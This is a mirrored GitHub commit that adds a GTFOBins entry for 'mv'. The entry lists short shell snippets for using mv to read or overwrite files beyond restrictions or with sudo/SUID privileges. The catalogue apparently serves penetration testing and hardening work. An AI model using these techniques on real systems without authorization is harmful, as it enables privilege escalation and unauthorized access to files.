mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add mv as suggested in #20
This commit is contained in:
parent
508a06c14a
commit
08a82c913a
28
_gtfobins/mv.md
Normal file
28
_gtfobins/mv.md
Normal file
@ -0,0 +1,28 @@
|
||||
---
|
||||
description: This can be used to read or write files outside a restricted file systems or with elevated privileges.
|
||||
functions:
|
||||
file-write:
|
||||
- code: |
|
||||
LFILE=file_to_write
|
||||
TF=$(mktemp)
|
||||
echo "DATA" > $TF
|
||||
mv $TF $LFILE
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
TF=$(mktemp)
|
||||
mv $LFILE $TF
|
||||
cat $TF
|
||||
suid-enabled:
|
||||
- code: |
|
||||
LFILE=file_to_write
|
||||
TF=$(mktemp)
|
||||
echo "DATA" > $TF
|
||||
./mv $TF $LFILE
|
||||
sudo-enabled:
|
||||
- code: |
|
||||
LFILE=file_to_write
|
||||
TF=$(mktemp)
|
||||
echo "DATA" > $TF
|
||||
sudo mv $TF $LFILE
|
||||
---
|
Loading…
Reference in New Issue
Block a user